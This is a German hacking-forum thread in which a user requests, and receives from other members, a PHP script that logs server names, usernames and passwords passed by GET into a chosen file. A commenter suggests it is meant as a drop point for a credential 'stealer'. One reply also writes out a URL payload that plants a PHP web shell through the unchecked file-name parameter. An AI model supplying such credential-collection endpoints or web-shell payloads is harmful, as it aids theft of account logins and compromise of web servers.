[S] Kleines PHP Script

[KillAV]

Hallo,
suche ein Script dem ich Server,User und Pw übergebe per GET:

script.php?file=Dateiname.txt&Server=mein server&User=MeinUser&Pass=Pw 

So sollte das Script aufgerufen werden und die Sachen sollten immer an die Datei angehängt werden.
So sollte des dann in der Dateiname.txt aussehen:

Server: Mein Server
User: MeinUser
Pass: Pw

Hoffe des ist nicht allzu schwer....

[blackberry]

Normalerweise verschiebe ich solche Threads gleich in die Tauschbörse, wenn sich der Autor nicht dafür interessiert PHP zu lernen bzw. zu programmieren.
Weils eine sehr kleine Aufgabe ist bekommst du hier ein Skript.
Gesagt sei auch, dass solche Threads demnächst einfach in der Trashbox landen.

<?php

if (isset($_GET['file']) && isset($_GET['server'])
    && isset($_GET['user']) && isset($_GET['pass']))
{
    if (is_string($_GET['file']) && is_string($_GET['server'])
        && is_string($_GET['user']) && is_string($_GET['pass']))
    {
        file_put_contents(
            $_GET['file'],
            "Server: " . $_GET['server'] .
            "\r\nUser: " . $_GET['user'] .
            "\r\nPass: " . $_GET['pass'] .
            "\r\n\r\n"
        );
    }
}

?>

P.S.: Das mit file=blah ist zwar die dümmste Idee, die man beim PHP Programmieren nur haben kann (es sei denn, du magst es Shells auf deinem Server zu haben...), aber wenn du es halt so haben willst soll es mir recht sein; ist nicht mein Webspace.

[x0De]

geht doch eigentlich viel einfacher:

<?
$filename = $_GET['file'];
$serv = $_GET['server'];
$usr = $_GET['user'];
$pass = $_GET['pass'];
$file = fopen($filename, "a");
$intofile = "Server : ".$serv."\nUser : ".$usr."\nPass : ".$pass."\n\n";
fwrite($file, $intofile);
fclose($file);
?>

[blackberry]

Wenn du mit einfacher meinst "Runtime Error, wenn man einen der Parameter nicht übergibt, oder Arrays übergibt", dann ja.
Ansonsten nein.

Mal ganz davon abgesehen, dass du, wenn du es wirklich einfach haben wolltest, nur den Teil mit file_put_contents aus meinem Skript übernehmen müsstest.
Das wäre dann - hätte ich es nicht der Übersicht halber aufgesplittet nur ein Einzeiler.

[moppelito]

Ich weiß nicht wofür das das mit Get brauchst, abe rich empfehle die Sachen anstatt mir GET mit POST zu übergeben, ist sicherer, und vielleicht ovrher nochmal prüfen!

[GregorSamsa]

Wieso sollte Post sicherer als Get sein? Das stimmt nicht ;-)

Und das in einen variablen Dateinamen zu schreiben ist, wie BlackBerry schon sagte, das dümmste was man machen kann.

Was wäre z.B. mit folgendem Aufruf:

domain.tld/index.php?file=shell.php&server=x&user=<?php include($_GET['s']); ?>&pass=x

@threadstarter: Überleg dir mal und denk n bissel drüber nach ;-)

[inout]

Da er dieses Script höchstwahrscheinlich für irgendeinen "Stealer" o.Ä. braucht und es sehr wahrscheinlich auf irgendeinem Free-Webspace läuft, von dem er (hoffentlich) nach spätestens 2 Tagen gekickt wird, wird ihm die Sicherheit in diesem Fall wohl ziemlich egal sein...

[kazuya]

Ja und? Wenn man ihm schon erklärt wies geht, dann auch richtig und sicher.

[moppelito]

@GregorSams genau das meine ich mit Unsicher -.-
Get kannst du mal eben Was reinschreiben ohne Formular
War nicht auf POST/GET bezogen!

[KillAV]

Normalerweise verschiebe ich solche Threads gleich in die Tauschbörse, wenn sich der Autor nicht dafür interessiert PHP zu lernen bzw. zu programmieren.
Weils eine sehr kleine Aufgabe ist bekommst du hier ein Skript.
Gesagt sei auch, dass solche Threads demnächst einfach in der Trashbox landen.

<?php

if (isset($_GET['file']) && isset($_GET['server'])
    && isset($_GET['user']) && isset($_GET['pass']))
{
    if (is_string($_GET['file']) && is_string($_GET['server'])
        && is_string($_GET['user']) && is_string($_GET['pass']))
    {
        file_put_contents(
            $_GET['file'],
            "Server: " . $_GET['server'] .
            "\r\nUser: " . $_GET['user'] .
            "\r\nPass: " . $_GET['pass'] .
            "\r\n\r\n"
        );
    }
}

?>

P.S.: Das mit file=blah ist zwar die dümmste Idee, die man beim PHP Programmieren nur haben kann (es sei denn, du magst es Shells auf deinem Server zu haben...), aber wenn du es halt so haben willst soll es mir recht sein; ist nicht mein Webspace.

Danke nur leider wird die Datei immer überschrieben.
Was muss ich den ändern das die Daten immer an die Datei angehängt werden?